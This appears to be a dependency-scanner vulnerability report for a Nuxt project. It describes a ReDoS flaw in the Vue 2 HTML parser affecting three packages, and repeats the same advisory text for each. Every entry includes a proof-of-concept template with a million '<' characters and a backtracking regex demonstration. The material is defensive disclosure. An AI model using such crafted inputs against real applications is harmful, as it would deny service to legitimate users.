Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the parseHTML function in html-parser.ts. An attacker can cause the application to consume excessive resources by supplying a specially crafted input that triggers inefficient regular expression evaluation.

PoC

Within Vue 2 client-side application code, create a new Vue instance with a template string that includes a <script> node tag that has a different closing tag (in this case </textarea>).

new Vue({
  el: '#app',
  template: '
<div> 
   Hello, world!
   <script>${'<'.repeat(1000000)}</textarea>
</div>'
});

Set up an index.html file that loads the above JavaScript and then mount the newly created Vue instance with mount().

<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id="app">
    Loading..
  </div>
</body>
</html>

In a browser, visit your Vue application

http://localhost:3000

In the browser, observe how the ReDoS vulnerability is able to increase the amount of time it takes for the page to parse the template and mount your Vue application. This demonstrates the ReDoS vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade vue to version 3.0.0-alpha.0 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: vue-server-renderer
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › vue-server-renderer@2.7.16
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › vue-server-renderer@2.7.16

Overview

vue-server-renderer is a package that offers Node.js server-side rendering for Vue 2.0.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the parseHTML function in html-parser.ts. An attacker can cause the application to consume excessive resources by supplying a specially crafted input that triggers inefficient regular expression evaluation.

PoC

Within Vue 2 client-side application code, create a new Vue instance with a template string that includes a <script> node tag that has a different closing tag (in this case </textarea>).

new Vue({
  el: '#app',
  template: '
<div> 
   Hello, world!
   <script>${'<'.repeat(1000000)}</textarea>
</div>'
});

Set up an index.html file that loads the above JavaScript and then mount the newly created Vue instance with mount().

<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id="app">
    Loading..
  </div>
</body>
</html>

In a browser, visit your Vue application

http://localhost:3000

In the browser, observe how the ReDoS vulnerability is able to increase the amount of time it takes for the page to parse the template and mount your Vue application. This demonstrates the ReDoS vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for vue-server-renderer.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: vue-template-compiler
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › vue-template-compiler@2.7.16
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › vue-template-compiler@2.7.16

Overview

vue-template-compiler is a template compiler for Vue 2.0

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the parseHTML function in html-parser.ts. An attacker can cause the application to consume excessive resources by supplying a specially crafted input that triggers inefficient regular expression evaluation.

PoC

Within Vue 2 client-side application code, create a new Vue instance with a template string that includes a <script> node tag that has a different closing tag (in this case </textarea>).

new Vue({
  el: '#app',
  template: '
<div> 
   Hello, world!
   <script>${'<'.repeat(1000000)}</textarea>
</div>'
});

Set up an index.html file that loads the above JavaScript and then mount the newly created Vue instance with mount().

<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id="app">
    Loading..
  </div>
</body>
</html>

In a browser, visit your Vue application

http://localhost:3000

In the browser, observe how the ReDoS vulnerability is able to increase the amount of time it takes for the page to parse the template and mount your Vue application. This demonstrates the ReDoS vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for vue-template-compiler.

References

Regular Expression Denial of Service (ReDoS) vulnerability report